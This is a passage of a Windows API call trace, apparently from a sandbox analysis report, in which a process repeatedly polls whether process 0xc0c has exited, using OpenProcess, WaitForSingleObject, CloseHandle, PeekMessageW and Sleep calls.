(dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.831] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.846] CloseHandle (hObject=0x3f8c) returned 1 [0306.846] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.846] Sleep (dwMilliseconds=0x1) [0306.880] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.880] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.907] CloseHandle (hObject=0x3f8c) returned 1 [0306.907] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.907] Sleep (dwMilliseconds=0x1) [0306.936] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.936] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.940] CloseHandle (hObject=0x3f8c) returned 1 [0306.940] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.941] Sleep (dwMilliseconds=0x1) [0306.955] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.955] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0306.971] CloseHandle (hObject=0x3f8c) returned 1 [0306.971] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0306.972] Sleep (dwMilliseconds=0x1) [0306.987] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0306.987] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.002] CloseHandle (hObject=0x3f8c) returned 1 [0307.002] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.002] Sleep (dwMilliseconds=0x1) [0307.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.018] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.033] CloseHandle (hObject=0x3f8c) returned 1 [0307.033] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.033] Sleep (dwMilliseconds=0x1) [0307.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.054] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.065] CloseHandle (hObject=0x3f8c) returned 1 [0307.065] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.065] Sleep (dwMilliseconds=0x1) [0307.080] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.080] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.096] CloseHandle (hObject=0x3f8c) returned 1 [0307.096] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.096] Sleep (dwMilliseconds=0x1) [0307.112] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.112] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.127] CloseHandle (hObject=0x3f8c) returned 1 [0307.128] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.128] Sleep (dwMilliseconds=0x1) [0307.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.143] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.158] CloseHandle (hObject=0x3f8c) returned 1 [0307.158] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.158] Sleep (dwMilliseconds=0x1) [0307.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.174] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.190] CloseHandle (hObject=0x3f8c) returned 1 [0307.190] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.190] Sleep (dwMilliseconds=0x1) [0307.205] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.205] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.221] CloseHandle (hObject=0x3f8c) returned 1 [0307.221] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.221] Sleep (dwMilliseconds=0x1) [0307.236] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.237] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.252] CloseHandle (hObject=0x3f8c) returned 1 [0307.252] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.252] Sleep (dwMilliseconds=0x1) [0307.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.268] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.283] CloseHandle (hObject=0x3f8c) returned 1 [0307.283] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.283] Sleep (dwMilliseconds=0x1) [0307.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.299] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.315] CloseHandle (hObject=0x3f8c) returned 1 [0307.315] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.315] Sleep (dwMilliseconds=0x1) [0307.330] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.330] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.346] CloseHandle (hObject=0x3f8c) returned 1 [0307.346] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.346] Sleep (dwMilliseconds=0x1) [0307.362] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.362] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.377] CloseHandle (hObject=0x3f8c) returned 1 [0307.377] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.377] Sleep (dwMilliseconds=0x1) [0307.393] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.393] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.408] CloseHandle (hObject=0x3f8c) returned 1 [0307.408] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.408] Sleep (dwMilliseconds=0x1) [0307.424] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.424] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.441] CloseHandle (hObject=0x3f8c) returned 1 [0307.441] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.441] Sleep (dwMilliseconds=0x1) [0307.455] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.455] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.471] CloseHandle (hObject=0x3f8c) returned 1 [0307.471] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.471] Sleep (dwMilliseconds=0x1) [0307.487] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.487] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.502] CloseHandle (hObject=0x3f8c) returned 1 [0307.502] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.502] Sleep (dwMilliseconds=0x1) [0307.518] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.518] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.533] CloseHandle (hObject=0x3f8c) returned 1 [0307.533] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.533] Sleep (dwMilliseconds=0x1) [0307.549] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.549] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.565] CloseHandle (hObject=0x3f8c) returned 1 [0307.565] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.565] Sleep (dwMilliseconds=0x1) [0307.580] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.580] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.596] CloseHandle (hObject=0x3f8c) returned 1 [0307.596] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.596] Sleep (dwMilliseconds=0x1) [0307.612] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.612] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.628] CloseHandle (hObject=0x3f8c) returned 1 [0307.628] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.628] Sleep (dwMilliseconds=0x1) [0307.643] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.643] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.658] CloseHandle (hObject=0x3f8c) returned 1 [0307.658] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.658] Sleep (dwMilliseconds=0x1) [0307.674] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.674] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.690] CloseHandle (hObject=0x3f8c) returned 1 [0307.690] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.690] Sleep (dwMilliseconds=0x1) [0307.705] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.705] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.721] CloseHandle (hObject=0x3f8c) returned 1 [0307.721] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.721] Sleep (dwMilliseconds=0x1) [0307.737] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.737] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.752] CloseHandle (hObject=0x3f8c) returned 1 [0307.752] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.752] Sleep (dwMilliseconds=0x1) [0307.768] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.768] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.783] CloseHandle (hObject=0x3f8c) returned 1 [0307.783] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.783] Sleep (dwMilliseconds=0x1) [0307.799] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.799] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.815] CloseHandle (hObject=0x3f8c) returned 1 [0307.815] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.815] Sleep (dwMilliseconds=0x1) [0307.830] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.830] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.846] CloseHandle (hObject=0x3f8c) returned 1 [0307.846] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.846] Sleep (dwMilliseconds=0x1) [0307.861] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.861] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.877] CloseHandle (hObject=0x3f8c) returned 1 [0307.877] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.877] Sleep (dwMilliseconds=0x1) [0307.893] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.893] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.916] CloseHandle (hObject=0x3f8c) returned 1 [0307.916] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.916] Sleep (dwMilliseconds=0x1) [0307.924] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.924] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.940] CloseHandle (hObject=0x3f8c) returned 1 [0307.940] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.940] Sleep (dwMilliseconds=0x1) [0307.955] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.955] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0307.971] CloseHandle (hObject=0x3f8c) returned 1 [0307.971] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0307.971] Sleep (dwMilliseconds=0x1) [0307.987] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0307.987] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.002] CloseHandle (hObject=0x3f8c) returned 1 [0308.002] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.002] Sleep (dwMilliseconds=0x1) [0308.018] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.018] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.034] CloseHandle (hObject=0x3f8c) returned 1 [0308.034] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.034] Sleep (dwMilliseconds=0x1) [0308.054] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.054] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.065] CloseHandle (hObject=0x3f8c) returned 1 [0308.065] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.065] Sleep (dwMilliseconds=0x1) [0308.080] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.080] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.096] CloseHandle (hObject=0x3f8c) returned 1 [0308.096] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.096] Sleep (dwMilliseconds=0x1) [0308.111] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.112] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.127] CloseHandle (hObject=0x3f8c) returned 1 [0308.127] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.127] Sleep (dwMilliseconds=0x1) [0308.143] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.143] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.158] CloseHandle (hObject=0x3f8c) returned 1 [0308.158] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.158] Sleep (dwMilliseconds=0x1) [0308.174] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.174] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.190] CloseHandle (hObject=0x3f8c) returned 1 [0308.190] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.190] Sleep (dwMilliseconds=0x1) [0308.205] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.205] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.221] CloseHandle (hObject=0x3f8c) returned 1 [0308.221] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.221] Sleep (dwMilliseconds=0x1) [0308.236] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.237] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.252] CloseHandle (hObject=0x3f8c) returned 1 [0308.252] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.252] Sleep (dwMilliseconds=0x1) [0308.268] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.268] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.283] CloseHandle (hObject=0x3f8c) returned 1 [0308.283] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.283] Sleep (dwMilliseconds=0x1) [0308.299] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.299] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.315] CloseHandle (hObject=0x3f8c) returned 1 [0308.315] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.315] Sleep (dwMilliseconds=0x1) [0308.330] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.330] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.346] CloseHandle (hObject=0x3f8c) returned 1 [0308.346] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.346] Sleep (dwMilliseconds=0x1) [0308.361] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.362] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.378] CloseHandle (hObject=0x3f8c) returned 1 [0308.378] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.378] Sleep (dwMilliseconds=0x1) [0308.393] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.393] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.408] CloseHandle (hObject=0x3f8c) returned 1 [0308.409] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.409] Sleep (dwMilliseconds=0x1) [0308.424] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.424] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.441] CloseHandle (hObject=0x3f8c) returned 1 [0308.441] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.441] Sleep (dwMilliseconds=0x1) [0308.455] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.455] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.471] CloseHandle (hObject=0x3f8c) returned 1 [0308.471] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.471] Sleep (dwMilliseconds=0x1) [0308.486] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.486] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.502] CloseHandle (hObject=0x3f8c) returned 1 [0308.502] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.502] Sleep (dwMilliseconds=0x1) [0308.518] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.518] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.533] CloseHandle (hObject=0x3f8c) returned 1 [0308.533] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.533] Sleep (dwMilliseconds=0x1) [0308.549] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.549] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.565] CloseHandle (hObject=0x3f8c) returned 1 [0308.565] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.565] Sleep (dwMilliseconds=0x1) [0308.580] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.580] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.596] CloseHandle (hObject=0x3f8c) returned 1 [0308.596] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.596] Sleep (dwMilliseconds=0x1) [0308.611] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.611] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.627] CloseHandle (hObject=0x3f8c) returned 1 [0308.627] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0308.627] Sleep (dwMilliseconds=0x1) [0308.643] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x3f8c [0308.643] WaitForSingleObject (hHandle=0x3f8c, dwMilliseconds=0xa) returned 0x102 [0308.659] CloseHandle (hObject=0x3f8c) returned 